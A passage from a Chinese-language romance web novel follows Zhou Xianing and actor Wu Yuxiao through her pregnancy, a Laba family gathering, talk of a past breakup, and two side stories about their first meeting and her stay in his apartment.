月过中天,两人方才云消雨歇,闭眼躺在床上。在迷迷糊糊地时候,武玉箫听到周夏宁说道:“下次,别做措施了。你的恋爱禁令解除了。”
这是她愿意同他要个孩子的意思。
“好,下次不做了。”
武玉箫紧紧地把她拥在怀中,她顺势将腿勾在了他的腰上。两人就这样相拥着安心睡去。
下午四点半,丰亿大厦15楼。
一道口哨声过后,一道靓丽的人影从茶水间闪过。看到有人影晃动,轻荷疾步跟了过去,正巧看到周夏宁像兔子一样跳到了武玉箫的怀中,同他一起进了电梯。
他在橱台上扫视一周,发现角落里多了三盒牛轧奶糖。上面的便签纸写着:夏夏和朝朝的喜糖,大家沾沾喜气。
30. 海棠花酥
方城,兰叶小区。
腊八粥的香气在清冷的空气中四散,周夏宁循着诱人的香味,睡眼惺忪地来到厨房边,看着武玉箫系着围裙在炉灶前摘菜。
她走过去从背后抱住他,心疼道:“田螺朝朝,今天有师傅上门来做菜,你不用这么早就干活的。”
过了腊八就是年,今天她母亲家的亲戚们要来家里吃年饭。
武玉箫把她拦腰抱到客厅,厨房在离门最近的地方,风大。他随手拉了条薄毯披在她的身上,方城的冬天不冷,可也没有暖和到可以不开空调就穿着睡裙乱跑的地步。
“想和你一起吃早餐,就随手做做。今天楼下很忙,爸妈没空管我们。”
说话间,武玉箫的视线不自觉地落在她的小腹处,那里正孕育着一个新生命。昨天在医院拿到孕检单时的那种兴奋感和不真实感现在他还记忆犹新。他们领证不过一个半月,孩子就悄然来到他们身边。
孩子才三周,她现在对怀孕这事儿一点儿实感都没有。可她父母已经严禁她去外面吃饭了,甚至要求她必须十点就关灯休息。
禁忌事项列满了整张A4纸,为了这个她昨晚在他去洗漱的时候,一个人对着枕头打了十来分钟的拳。
孩子到来的消息给她的喜悦是一瞬的,接踵而至的是长达十个月甚至更长时间的身体折磨和情绪失控。
“饿了吗?我做了三明治。”
餐桌上放着两块炸猪排三明治,这与昨天她突然被她妈收走的三明治,是一样的款式。
周夏宁抿唇思索半晌,问道:“是不是昨天我摔枕头的样子吓到你了?”
她对那块被收走的三明治没有执念,只是很讨厌他们如此强势地干预她的生活。他们说的都对,可是正确地活着好累。
武玉箫摇摇头,轻轻地抱住她,“我希望下次你能当着我的面摔枕头。想吃什么都和我说,我做。我没法对孩子在你身体里生长的感觉感同身受,但我可以承受他给你带来的情绪紊乱。不要压抑自己的情绪,我想你健健康康的,孩子只是意外之喜。”
没有被漫漫长夜驱散的郁结之气在这诚恳的话语中自动消散。周夏宁本来不太饿,可她现在想同他一起吃早餐了。
“田螺朝朝,有牛奶吗?我想喝牛奶。”
武玉箫去厨房煮起了牛奶,再回到客厅,她已经换好了居家长袍。
武玉箫把温牛奶塞到她手上,柔声说道:“不喜欢,不这样穿也可以。家里空调开着,你可以穿薄睡裙满屋乱跑的。”
周夏宁把客厅的空调关掉,将窗户推开。昨晚她妈三令五申,必须在家穿长袍防冻,她不仅没听,还叛逆地穿着薄睡裙在房间里打拳。他怕她冻着,默默把屋里的空调都开了。
“空调开太久了,屋里要透气儿。不过,你这样惯着我好吗?从昨晚到现在没有对我提一句要求。”
她耍小性子,他就一声不吭地由着她闹。
武玉箫把她推到餐桌前,笑道:“妈心疼我,不想我和你闹矛盾,把闹矛盾的话都跟你说完了。她给我机会哄你开心,我当然要抓住机会了。”
周夏宁喝了口牛奶,这味道很淡,可是好甜。
她看着他,突然心情就像飘到云端那般美妙。她走到角落里,捡起昨晚被她揉成一团的注意事项。
“我会尽自己最大努力遵守的。”
周夏宁把纸压平了放桌上,继续吃三明治。武玉箫点点头,把最后一口三明治塞到嘴里,然后去屋里重新拿了张空白纸出来,将上面的事项誊抄一遍。这是他记重要事项的习惯。
周夏宁看着他这认真的模样,不禁将手放到了小腹处。这个孩子很幸运,他是带着父母的包容和理解来到这个世界上的。
她选择的这个男人,很爱她,也知道如何去爱她。
早上十点,一楼客厅。
不大的屋里飘着浓重的茶香,周夏宁混在一众聊八卦的婶婶里,安静地将她们捏好的面团放进模具里。
她透过玻璃窗,看着武玉箫在风里忙前忙后。家里厨房小,不够酒店师傅展露拳脚。周父在院子里搭了个简易棚子,把炉子和厨具都挪了过去。
周夏宁的几个舅舅都是公务员,除了小舅舅还在单位里发光发热,其他人都荣退了。周母家的传统:家族聚会男人干活,干好干赖不论,重在参与。武玉箫故意放缓手上的动作,混在一众老头里,也不显突兀。
这时周夏宁的小舅舅与一个头发花白的瘦高个风风火火来到屋里。周夏宁盯着那个瘦高个看了许久,这才想起他是她小舅舅的亲家,区里的文旅局副局长。
“亲家啊,来得正好,腊八粥煮好了,一起吃一口。”
周夏宁的小舅妈把位置让了出来,云陆安把拿来的礼物放到了周夏宁的身前,客气地说道:“夏夏,这头胎要好好养。这次回方城了,是不是就不走了?”
周夏宁为难地看着自己的小舅舅,她和这位老头只在婚宴上见过一次面,他这态度太殷勤了。
周母把周夏宁拉到一旁,解围道:“老云啊,年过完了我们就回陵城了。”
云陆安低头沉默了三秒,问道:“夏夏,这初四到十五,市里有文旅推广活动。我们局里之前联系的小明星因为家里出了事儿来不了了,你能不能让你家那口子去救救急。”
方城是小城,文旅推广活动请的都是十八线的小明星。他们和武玉箫的咖位差了十万八千里。而且这个口子一旦开了,以后别的文旅局都有借口找上门了。国字号的部门,不能随意招惹。
正巧武玉箫这时端着刚出炉的海棠花酥走了进来,喊道:“夏夏,海棠花酥。”
“云叔,没有经纪人同意,他不能接私活。”
周夏宁往武玉箫的嘴里,塞了块海棠花酥,示意他闭嘴。
云陆安又沉思了三秒,问道:“那能不能联系他的经纪人,我和她商量商量。”
周夏宁回头看了眼周母,他这是势必要让他们点头的意思。
周母:“他经纪人现在在国外,那边正是深夜。这不方便。”
云陆安:“那要不把他经纪人的电话给我,我自己去联系。”
周夏宁暗自翻了个白眼,陵城的文旅局局长都要不到余芷的联系方式,她怎么敢把联系方式给他。
沉思的时候,周夏宁听到了电话铃音。
“朝朝,什么事儿?”
轻微的咳嗽声从电话那端传来。
周夏宁凑到扩音器前,囔道:“余姐,你那边降温了,多加点衣服。”
“夏夏你才是,怀孕了,要注意保暖。我这儿有客,没什么事儿,先挂了。”
话音落了许久,通话还没有断。这是余芷的习惯,让武玉箫先挂电话。周夏宁给武玉箫使眼色,但他还是把她的手轻轻掰开,说道:“余姐,夏夏小舅舅家的亲家是区文旅局的,他们想请……”
“文旅局工作人员的手机号发我,公司文旅事业部的人会联系他。你敢恋爱脑接私活,回来我打断你的腿。”
电话那端传来忙音后没多久,云陆安便接到了一个陌生电话,来电的是邓华阳,是他联系了一周也没有联系上的人。
那边主动约了见面,云陆安挂了电话便匆匆离去。周夏宁的小舅舅两口子相互对视了三秒,不敢相信这个困扰了云陆安一周的问题就这么简单地解决了。
下午三点,二楼,客厅。
武玉箫在沙发上坐着,一言不发。从楼下上来之后,他就一直是这个状态。看起来像个在生闷气的大狗狗。
周夏宁和武玉箫有个共同默契,在对方生气的时候,只在旁边安静地坐着,不搭话。等对方气消了,再来沟通。
午后阳光照在身上懒洋洋的,周夏宁连续打了三个哈欠。她强打着精神陪着他坐在沙发上,他们中间隔着一道东非大裂谷。
武玉箫轻叹一声,主动挪了过去,给她搭了薄毯,让她靠在自己肩头。她环住他的腰,将脑袋贴在他的胸口,问道:“还在生气?”
“有点儿。你知道这些人情往来我应付得来,刚才我给余姐打电话,你为什么打断我?”
武玉箫赌气地撇过脑袋,默默将她的手揣进兜里。周夏宁静静地靠在他的肩头,闭眼,没有给出任何回复。
“夏夏,你这样子我很害怕。在温哥华的时候,你也是这样,不向我透露一句你的真实想法。”
武玉箫的吻落在她的唇角,她惊讶地瞪大眼,睁眼之时,她在他眼中看到了丝丝愤怒和点点失望。
她睁眼之后,他立刻撇过脑袋,继续生闷气。
周夏宁看他这是哄不好了,跨坐在他身上,让他抚上她的小腹。
“孩子说他想睡觉了。你还要和我纠结这个问题吗?”
武玉箫把她抱起,两人回了卧室。他搂着她在床上躺着,许久之后,她小声呢喃道:“你的星途里有很多人的未来,包括我的。”
只有她很干脆地拒绝了,余芷才会干脆地拒绝他。她知道他很爱她,只要她有一点儿犹豫,她都会想办法帮他满足她的要求。她不和他闹,他才会安心工作,才会星途一片璀璨。
晚上八点,海棠树下。
周夏宁披着外套在树下站着,武玉箫在屋里看着她发呆。醒来之后,她就一直望着那棵树。
周母端着海棠花酥,来到他的身前,安慰道:“别担心,她只是需要一个人静静。”
武玉箫收回视线,问道:“那棵树有什么特别的吗?”
望着那棵树,周母的思绪一下拉回到二十多年前,强烈的无可奈何感袭上心头。
良久之后,她平静地说道:“这树是她出生的时候,她小姑为了庆祝她的到来亲手种下的。她那个小姑原是文工团的舞蹈演员,在情窦初开的年纪不顾家里反对嫁给了一个家具商。后来她脚受伤了,她受不了伤病带来的压力,把家具商当做了救命稻草,离开了文工团,生了孩子,做
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起了家庭主妇。夏夏七岁的时候,家具商要去外地做生意,她不顾家里反对跟着他走了。家具商发家之后有了新欢,她被算计得净身出户。离婚后,她过得很拮据。夏夏高考前,她给家里寄来遗嘱,托我们照顾她的儿子汪文东。”
听到声音,周父从屋里出来,坐到周母的身边,补充道:“所以,她无心工作,只顾着陪你在剧组疯玩的时候,我让她和你断了,回老家相亲结婚。”
有血淋淋的例子在前,他们不可能眼睁睁看着她重蹈覆撤。
提到这段往事周母就来气儿,她在周父的胳膊上掐了一把,“夏夏当时很叛逆,说‘非逼我分手,我就从家里出去’。后来从周姚那儿听到她出国的消息时,我们真的吓坏了,怕她真就这样跑出去不回来了。”
周父气闷地给自己塞了块海棠花酥,“后来我没办法了,只能给你写信,让你劝劝她。但是从温哥华回来之后不久,她就和我们说和你断了。我们还以为是你把她甩了。”
风打在窗棂上,发出“呜呜”的声音。周夏宁正觉着冷的时候,她的身上多了一件外套。随后,她落到一个温暖的怀抱中。
“进屋吧,爸妈在等你一起吃海棠花酥。”
这个海棠花酥是她小姑以前最爱的糕点。她从家里离开后,每到腊八,家里都会做这个,既睹物思人,也时刻提醒自己:爱己所爱,为爱买单。买不起单,终酿悲剧。
晚上十点,二楼阳台。
武玉箫抱着周夏宁在窗边看星星,周夏宁已经打了好几次哈欠,可是她不想错过今晚的烟花秀。
“夏夏,当初分手的理由能告诉我吗?”
武玉箫湿热的呼吸打在她的耳垂上,湿湿的,痒痒的。周夏宁情不自禁地唇角上扬。
她抓着他的手,平静地说道:“那个时候你发展很好,但是我被拒稿拒到怀疑人生,然后我们的恋情曝光了。家里知道我无心工作,只想找你玩,就让我专心工作。但是我跟他们说我不想写了,他们怕我重蹈小姑的覆辙就逼我分手。他们当时和我做了很久的思想工作,虽然我一直在否定,但我还是退缩了。我不知道我那个状态要持续多久,我也不想你因为我分心。在加拿大的最后一晚,我本来想借着酒劲和你提分手,可是我对你见色起意了,就没有说出口。后来我父亲病了,我必须专心工作赚医药费,你三个月没联系我,我就很自然地提了分手。但是我没有想到中间会有那么多巧合和误会,也没有想到会给你带来那么大的伤害。”
“为什么当时你想的是分手,而不是在我的身边解决这个问题?你在LA很成功,你是有能力解决这个问题的。”
武玉箫把她抱得越发的紧了,这个才是分手的根本原因。
周夏宁回头吻了他,笑道:“如果你在我身边,我就不想努力了。我一直劝慰自己,那个时候你不能慢下来,不能影响你的星途。可是刚才在海棠树下,我才发现,因为你的怀抱太坚实太温暖,我很想一直靠下去,以至于那个瓶颈我不想解决了。但是如果我这样做,小姑的结局就会是我的最终归宿。所以,我逃走了。”
“那后来为什么答应和我复合?”
武玉箫在她的脖颈处反复亲吻,他不是很想知道答案,却又很好奇。周夏宁转头,把他扑倒在床,躺在他身边,自信地说道:“因为在那些压力大到我把安眠药当饭吃的日子里,我找到了杀回夜荷的方法,并且成功杀了回去。这段经历让我确信,以后无论发生什么,我都不会再逃避。和你纠缠一段时间后,我很确定我对你的感情没有过去。你想复合,我就同意了。你是我选的男人,我相信我能够为我的选择买单。即便以后你……”
武玉箫欺身上来,以吻吞没她接下来的字句,不吉利的话,一开始就不该说。窗外有五色光闪过,周夏宁坐起身来,靠在窗边。武玉箫在她的身后,把她圈在怀中。
瞬间的激情如烟花般灿烂,长久的婚姻如流水般平淡。她很确信她有爱他的勇气,更有爱他的底气,即便感情生变,她也能过得如沐春风。
一个人走过那段绝望的低谷方知,她不在乎身边多一个人陪她看烟花绽放,也不在乎少一个人陪她熬过刺骨寒冬。
她立得住,站得稳,看得远,守得长,她中意的男人才会天天琢磨她的心思,为她彷徨不安,为她伤心落泪,予她热烈而纯粹的爱意。
她只想和她选择的男人谈情,这种在绝望中依旧勇往直前召唤希望的能力便是她为此付出的代价。
她用三年的不眠夜买了这个单,眼前这个男人才重新回到她的生活里,成了她的丈夫,和她孩子的父亲。
烟花之下,海棠树傲然挺立,种树人以她血的教训喂养了这棵树,让它能够向更深的土里扎根,熬过风雨,终成一棵参天大树。
烟花消散的瞬间,她回头吻他,他迷恋地与她拥吻,浓烈的爱意在交缠的身躯间流动。
在这方狭窄的天地里,情浓散不开,炙爱火热绵长。
31. 番外一 山药甜饼
西斯赫尔酒店0103,云花厅。
在无人的角落里,武玉箫静静地站着,他的视线穿过人群落在一张长桌上。那里有蛋糕、曲奇、巧克力、红豆沙冰还有……一个长相甜美的女孩儿。
她穿着逛大街的白T+牛仔裤的套装,素颜朝天地混在浓妆艳抹的女艺人中间,十分显眼,异常特别。
她身旁的男人忙着交际,她只顾着吃。她很喜欢甜品,一进入甜品区,她的唇角就会不自觉地上扬,眼角眉梢都自动染上甜甜的笑意。她的笑容和屋外的阳光一样热烈明媚,让人忍不住想靠近她。
她是夜荷15楼的作家,也是这一年来带着他从循环里打出来的贵人。在所有人包括他自己都认为他会因为无组收留而丧失凭外卡进循环机会的时候,她踢掉了原定的男二号,把角色给了他。
他借着他们组的东风,在第一轮的第一场PK就拿到了保送进下一轮的资格。因为这个保送,他丧失了主动退出循环的资格。
他想过摆烂主动被淘汰,可是这个循环赛关乎到她的项目定级和投资定级,他不想给她带来困扰,很努力地去做了所有组里人要求他做的事情。
他的努力给他带来了好运气,从第二轮PK起,他每一场都勉强够到了晋级线。而他刚晋级,她就在系统里将他锁定。
组里的女演员一直在换,但他一直被她坚定选择。早在半年前,袁岑便同他打赌,赌她一定喜欢他。
他们素不相识,这一年里也未见过一次面,他觉得一定是他想多了。可就在半小时前,她冒着《朝朝慕夏》投资被降级的风险把男一号给了他。
这是亿星的A级项目,A约部B3级及以上的艺人才有试镜资格。他没有和公司签约,外卡评级也够不上试镜标准,她抛来的这个橄榄枝很诱人,可他接不住。只是,她的这个举动让他无法不多想。
再过两个月,他就满十八岁了,这是可以去参加亿星酒局的年纪。夜荷15楼的作家可以优先指定亿星A约部的新人做陪侍,公司不会强迫新人答应对方的指定,可是……
亿星A约部隶属于21楼的自制剧投资部,所有B级投资项目都是作家负责制,绑定了15楼的夜荷作家,约等于绑定了璀璨星途。
几乎所有在公司试水剧中没有达到预期收益率的A约部艺人,都会去参加夜荷的酒会,想搭上15楼作家的东风。蔺姿就是想走这个捷径,主动招惹路凌夜,然后被轻荷投诉了,受到了停工一年的处罚,并且被索要高达五百万的违约赔偿。
想到蔺姿,武玉箫不由得眉头紧锁。一年前,她承诺过,只要他帮她摆平了违约金的问题,她就在停工期满后,进循环,然后申请转岗。
可停工解禁在即,她又开始去酒局了,想要找到一个投资人,给她投资拍戏,让她演女主角。
她看上的那个项目,艾彬说可以直接把女主角给她,条件是他与亿星签约。他和蔺姿一样,是绿森之家委培班出来的。他若是签约,只能进A约部。
A约部的合同条款很苛刻,他不想进这个泥沼。可蔺姿现在就像邪灵附体一般,只想靠着走捷径,快点儿出名。
他如果不拉着她,她只会在不归路上越走越远。他们是邻居,是好友,情同姐弟,就算撇开她父亲为救他而死在大火里的恩情,他也不希望她在错误的路上越走越远。
她需要一个让她死心的契机。
她不适合这个圈子,真正合适的,都借着公司给的资源扶摇直上了。可她就是不愿意承认这些,固执地认为是艾彬在卡她的资源。
实际上,若非她惹怒了轻荷,艾彬连她是谁都不知道。
“山药甜饼,要尝尝吗?”
轻快如风铃的声音在武玉箫的耳边响起,甜美的笑颜赫然映入眼连。他的心猛烈颤动,她的笑容太耀眼,他觉得周边的一切都有了光的温度。
他从她的手中接过递来的半块饼,饼很甜,他不喜欢。她吃饼的时候,两眼笑成了一对弯月,仿佛她手中的饼是这世界上最好吃的美食。他看着她写满笑意的眉眼,一口一口将饼尽数吞入肚中。
饼不好吃,可是她的笑容,好甜。
“桂花糕要尝尝吗?”
武玉箫的手边又多出了半块糕点,他摇摇头,笑道:“我吃不了这么多甜食。”
她停顿了半晌,嘟起了小嘴。他突然有些后悔自己的嘴快,不过是半块糕点,没必要因为这个破坏她的好心情。
“那好可惜,这个真的很不错。不过,我的朝朝本来就不喜欢吃甜食。也算符合人设。”
她一脸遗憾地把桂花糕塞进了自己的嘴里,桂花的甜味在嘴里扩散,片刻之后,她又笑成了晴天娃娃。
周姚一脸阴沉地站在她身后,说道:“陆老板找。这次不准再乱跑了。”
她突然紧张得咽了咽口水,摇头道:“他长得太帅了,我怕我发花痴失礼,就不去了。我就安静地在这儿吃糕点,等你的好消息。”
周姚的脸顿时又黑了两个色号,揪着她的耳朵囔道:“闯了祸,就想跑,没门。陆老板点名要见你,问问你,为什么这么心水他。”
周姚的目光落到武玉箫的身上,武玉箫怔愣了三秒,他这眼神仿佛在告诉他“离她远点儿”。
他默默向后退了两步,周姚是一个很有教养的人,气到极点也不会对别人乱发脾气。他很尊敬他,不想惹他生气。
“你别板着脸,都把他吓着了。接下来拍摄很紧凑,你把他吓着了,对项目没好处。”
周姚加重了手上的力度,她的耳朵顿时红得厉害,她吃痛地轻哼出声,可是没有让他放手。在她倔强的眼神下,周姚无奈地放了手,投降道:“降级就降级吧。你老大,你说了算。”
他往武玉箫手中塞了杯香槟,语气平和地说道:“一起去,夏朝朝。”
武玉箫不可置信地看着他,亿星的B3级投资是B级导演能拿到的最大投资限额,投资部能给他们的项目出到这个投资定级,应是非常看好这个项目。
可他们宁愿项目评级降级也要让他演夏朝朝。
武玉箫低头看着杯子里的气泡,小声嘟囔道:“为……为什么?”
他的手腕处突然多了一抹灼热的温度,她拽着他追着周姚冒着怒气儿的背影,向着人群中走去。
“因为你是夏朝朝。”
在嘈杂的背景声中,他听到了她坚定而欢快的声音。他的心剧烈震动,只觉手上的那抹温暖很让人贪恋,他很想一直被她这样抓着。
走廊边。
武玉箫低着头,不敢看余芷的眼睛。十分钟前,陆扉辰同意让他出演夏朝朝,但是他得拿到经纪人的担保。
《朝朝慕夏》的人员配备是A级,亿星这边的项目定级不会因为投资部的投资降级而改变。他如果不和公司签约,不拿到余芷的担保,他不仅拿不到这个角色,周姚也会因为这个指定面临违约赔偿。
罚款并不多,只是项目会被延期。
周姚和他女友约定,拿到了投资款,两人就领证结婚。周姚的老丈人本来就不太满意他,项目延期很可能让他和他女友的感情出现问题。
武玉箫很是愧疚,担心他会给他带来麻烦。
“艾彬给你的是项目约,业绩达标了,是可以直接转B约部的。那份合约更适合你。”
余芷的目光在武玉箫的身上来回扫视,他这乖顺的模样,和一年前来找她时完全一样。
那时,他为了拿到外卡推荐,在她的公寓外守了两周,高烧烧到39度也不愿意离开,最后晕在了她的公寓门口。
他很执着,很踏实,运气也不错。
艾彬认可了他的潜力、人品和实力,这才破例给了项目约,A约部的水很深,能不进去就不要进去。
“你如果不想他们的项目延期,可以在签约的时候把推荐人换成周姚。公司对推荐人是有奖励的,他们可以凭着这个去换项目的正常签约。”
余芷把他手中的香槟换成了橙汁,主动与他碰杯。他在循环里出色的表现让她赚了不少零花钱,这些话就当做那些零花钱的谢礼了。
武玉箫看着橙汁,眼前不自觉地浮现出周夏宁耀眼的笑容,他不想去深究她选他的原因,他只想让她将他的手抓得久点儿,再久点儿。
这个项目为期三年,三年过了,他如果业绩不好,可以申请S-T约,或者转岗。亿星的机会很多,踏踏实实工作,日子都能越过越好。
A约部的水很深,可是,他可以选择不去淌水。如果这是接近她的唯一办法,他愿意签约。
他放下橙汁,再次拿起了香槟,抬头坚定地道:“我想要夏朝朝这个角色。”
他把杯中的酒一口饮尽,双颊顿时染上红晕。他酒量浅,几乎是一杯就倒的程度。
余芷看着他,许久没有说话,她的理智在告诉她,她应该拒绝他。可是,他眼中的坚定让她不忍心拒绝。
以专业经纪人的角度看,他是一个很有潜力的苗子。稍稍磨一磨,就会像在循环赛里那样绽放耀眼的光芒。
A约部有他发展的空间,只是,他在那儿不会被蔺姿带歪吗?那些酒局就算她明令禁止不让他去,他就真的不会去吗?
她手上有多少有潜力的苗子,都因为受不了诱惑走上了不归路。他凭什么能够成为那个例外?
“为了蔺姿?”余芷打趣道。
武玉箫默默握拳,这一刻他觉得自己很自私。
“我不会再帮她拿公司的任何项目,也不会接受任何与她的捆绑。我只
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想拿到夏朝朝的角色,安静地拍完那三部戏。周姚他们人很好,我想和他们多相处一段时间。”
这是他的私心,也是他必须做到的事情。他如果贪求她的温暖,就不能再插手蔺姿的事情。他出了问题,受损失的是余芷。
她已经为他担保过一次了,这次是他任性了。
可他真的很想抓住这次机会,很想如她所愿出演夏朝朝。她选择了他,他也想满足她的愿望。
“如果项目没有达到预期的业绩,你在对赌中输掉的钱,我都会想办法还的。我不会让你遭受损失的。我在PK赛里赚到的奖金可以全部当做质押款给你。”武玉箫认真地说道。
清澈的眸中没有丝毫的杂质,让人很想相信他给出的承诺。
余芷将杯中的酒饮尽,这个时候她需要酒精麻痹她的理智。她的心跳得很快,如果他能够听她的话,按照她规划的路线发展,她很确定她能把他捧成亿星的台柱子。
他有这个潜力和运气,她有这个能力和资源。
“除了我同意的酒局,其他的酒局和聚会你都不能去,能做到吗?”余芷厉声问道。
武玉箫心头一惊,紧张地点点头,“去哪儿我都会提前报备。”
“二十岁之前不准谈恋爱。”
武玉箫点点头,“我会很努力工作,让自己没有时间谈恋爱。”
余芷看着他一脸认真的模样,不禁相信他真的可以做到。她真的醉了,虽然她没有喝多少酒。
“最后一条,无论蔺姿找你帮什么忙,都不准答应。做得到吗?”
武玉箫沉默了数秒,答道:“可以。只是,哪天她想离开公司,而我又恰巧有能力帮她,她来找我,我还是想帮帮她。我还是希望她能够离开这个圈子,虽然我知道她不是这样想的。”
他迟早要和蔺姿划清界限,余芷的要求并不过分。
余芷把橙汁塞回到他的手中,笑道:“去和他们拍主创团队照吧。十八岁生日之前,都不要沾酒。A级项目业绩要求很高的,祝你好运。”
余芷把他留在了身后,独自去了楼上。那里陆扉辰正在等她,那个小狐狸猜得很准,知道她会同意担保的事情,现在正拿着对赌协议等着与她讨价还价。
不过,就是因为前路不明,对赌约才那么有趣。
在对的人身上下注,输了,也无怨无悔。
更何况,她不认为她会输。
她有预感,他会成为非常耀眼的大明星。
合影区。
周姚的脸黑成了一块碳,武玉箫不敢上前搭话。她端着一满盘的糕点从他身旁经过,笑道:“朝朝,站这儿干嘛?”
武玉箫歪着脑袋看着她,她的目光落在他的身上,很明显她是在同他讲话。
周姚黑着脸把周夏宁手中的餐盘抢去,“人家都没答应出演,你就先把朝朝喊上了。”
周夏宁拽着他的胳膊,极其艰难地抢回了一块甜饼。她把甜饼掰成了两半,塞了一半给武玉箫,问道:“你不演吗?”
武玉箫盯着饼看了许久,她这才想起来,他不喜欢吃甜的。她收回手的时候,他突然接过了甜饼,说道:“演。”
这个时候,周姚手机上的流程图标突然由灰转亮。
“啊……没有被降级。我就说陆老板很有眼光的,会同意他出演的。”
周夏宁拼命晃着周姚的肩膀,他突觉头顶上的吊灯在转圈。她惊喜的笑容在明黄灯光下美得不可方物,武玉箫看着她的笑容,不知不觉将饼吃完了。这个和之前那块不大一样,这个没有放糖。
激动的心情,三秒之后烟消云散。周夏宁放开周姚的肩膀,静静地吃起了饼。这个饼没什么味道,她不大喜欢。可她还是吃得一脸开心。
武玉箫看着她脸上的笑容,疑惑道:“这个没放糖,你也喜欢?”
周夏宁将最后一口饼塞进嘴里,点点头,“收到好消息时候吃的饼,怎么着都好吃。味道不喜欢,心情很喜欢。”
周姚团队的人收到消息后都来了合照区,武玉箫自动站在了最边上。突然,他听到了周夏宁的声音。
“朝朝,过来。”
众人一齐看向了他,他尴尬地低头,但又不自觉地向她走去。她在的那个地方,有光,有温暖,有笑意,他很想去到她的身边。
“朝朝要和夏夏在一起,知道吗?”周姚解围道。
周夏宁的右手边站着黎夏夏的扮演者,武玉箫顿时觉得自己自作多情了。他在周夏宁的右手边站着,在镜头前,浅浅一笑,闪光灯将这一幕永远定格。
多年以后重看当年的照片,他才惊觉,当时他的右手边站着的是剧里的黎夏夏,左手边站着的是他的夏夏。
朝朝慕夏,最终故事照进了现实。
32. 番外二 青梅果酒
晚上七点,夜荷员工公寓。
武玉箫推门进屋的时候,小米南瓜粥的香味扑鼻而来,客厅的灯将这不大的空间照得透亮,橘色灯光给桌上的清蒸排骨和清蒸鲈鱼打上爱的光圈。
锅里煮着白菜汤,见到他进门,周夏宁在锅里扑了个蛋花,便将炉火关掉。
武玉箫在门口站了许久,她系围裙的模样,他第一次见,很新鲜,很美。
周夏宁将汤摆在了餐桌上,见他在门口呆站着,笑问道:“站门口做什么?”
武玉箫红着脸,换了鞋,拖着行李箱去了卧室。似乎每次回来,他都会先在角落处站着,她喊他进屋之后,他才拖着行李箱进来。这举动时常给她一种她才是这个屋子的主人的错觉。
这种感觉今天越发的强烈。
不知不觉,她在这个公寓借住五个月了。因为泄稿给亿星造成的损失,在这五个月的996中,她都弥补回来了。投资部那边只给她开了几万块钱的罚单,小惩大诫,让她长长记性,日后电脑再坏,不能图省事,拿去熟人的维修店修理。
她真的做梦都没有想到,和她关系最好的室友会故意弄坏她的电脑,然后买通修理店老板,将她电脑里的存稿全部窃取出来发到网上。
虽然发出去的稿件只有她和亿星签约的定向剧本,投资部那边升级了项目风险,她在电脑里的存稿全部被认定为高风险稿件。里面的创意,她一个都不能用。
截稿期在即,她焦头烂额。交不出稿件,她要面临几千万的违约赔偿。那晚,她在酒吧门口真的想过直接冲到马路中间被车撞死算了。
周姚不停地给她打电话,她不小心接了,他知道了她的位置,便托武玉箫去接她。他把她带回他的公寓,她觉着这里离夜荷近,可以省通勤时间,便问他能否借住在这里。
起初她只想借住一个星期,等正式的处罚通告出来就搬走。
她运气很好,她硬着头皮交上去的短篇被赵清妍看中,她和陆扉辰置换了资源,陆扉辰愿意给她跟项目的机会。
截稿期总是近在眉睫,她就又在这儿住下了。等到全部交稿了,她又因为纪霞回宿舍了,不愿意搬回去。拖着拖着。时间就到六月了。
她名下老破小的租约到期了,租户已在一周前搬离,她打算同武玉箫一同吃了晚饭,聊表谢意后,搬过去。
这五个月,他在公寓的时间很少。回来待个两三天就又出去拍戏一两个月。家里的锅碗瓢盆,酱料零食都是她添置的,她比他这个屋主人更熟悉这个家的摆设。
武玉箫换了身居家常服,再次出现在客厅。她来到公寓之后,家里的物件渐渐多了起来,余芷上次来过之后说家里终于有了活人的气息。
“朝朝,谢谢你这段时间的收留。”
周夏宁给他倒了半杯青梅酒,这酒是她酿的,度数低,不容易醉,适合小酌套话。
武玉箫将酒喝了一小口,然后将一个盒子放到她手边,红着脸说道:“谢谢你,帮我添置家里的物件。”
盒子里装的是一根桃木花簪,桃木辟邪,寓意很好,她很喜欢。她去镜子前将马尾辫盘了起来用桃木簪固定。
她走到他身前,问道:“好看吗?”
“很美。”
武玉箫的脸突然红得能滴出血。簪子很普通,可是她的笑容很特别。她无论收到什么礼物,都会笑成一朵太阳花,似乎他送什么,她都特别喜欢。
周夏宁看着他红得发烫的脸颊,不禁皱起眉头,他这段时间在她面前脸红的次数高得惊人。尚洵和她打赌,赌他一定喜欢她。
自《朝朝慕夏》开拍起,他每去一个地方拍戏,回来的时候都会给她带个价不高的辟邪物件,同时给周姚的女儿带个娃娃。他这水端得很平,她一点儿都没有察觉到这有什么不妥。
他送她礼物,她请他吃饭。她不怎么去拍摄现场,但他们私下有很多联系。甚至周姚在知道她的位置之后,第一个找的人也是他。
她以为他只是弟弟,可综合周边人的反应,他似乎对她动机不纯。
“朝朝,有喜欢的女孩儿吗?周姚说想给你介绍对象。”周夏宁试探道。
武玉箫望着她,许久没有说话。他不太明白喜欢是什么样的感情。
“余姐说,二十一岁之前不准谈恋爱。”
武玉箫战术性喝汤,余芷的原话是:二十一岁之前赶紧谈一个。除了不闹出孩子来,把该做的不该做的全部做一遍。
不是没人给他介绍对象,只是相亲局他都找借口溜了。A约部的人几乎二十一岁之前都会谈,不谈公司也会介绍人让谈。这个是A约部不成文的规定,余芷最近催他催得很急。她不想他和圈内人谈,特别是A约部的。
“那你有中意的吗?再过几个月你可就二十一岁了。”
武玉箫不是很想继续这个话题,在她面前他不想聊别的女人。
此时门铃响了,蔺姿的声音从门外传来。她哭得很厉害,周夏宁烦躁地给自己灌了半杯酒,蔺姿每次来找他,没个两三小时,两个人拉扯不清楚。
好好一顿饭,就这样被毁了,真是白费了她的心思。
周夏宁拿包准备离开,武玉箫突然心慌了。他拽住她的包,慌乱地解释道:“我和她没什么。”
他这是在解释他们之间的关系?
周夏宁心头一惊,他这个举动很奇怪。他怕她误会什么?
“她之前找我帮忙申请《花云外传》的项目,我拒绝了。她应该还是为这个事情来的。”
武玉箫从她手里顺过她的包,将她重新推回到餐桌前。这餐饭是她的心意,他不准任何人毁了它。
他把门开了一半,拦在门口没有让蔺姿进屋。
武玉箫:“我之前说得很清楚了,这个忙我帮不了。”
蔺姿把脑袋往里探了探,她看到了墙上挂着的女士包,绝望地嘶吼道:“你有新欢就不要我了?”
武玉箫:“蔺姿,我再强调一遍,我们之间不是男女朋友关系。我帮你,只是因为我们从小一起长大,只是因为为了救我而死在那场火灾里的你的父亲。”
蔺姿哭着蹲到地上,囔道:“最后帮我一次好不好,我这次真的知道错了。我再也不去酒局了。”
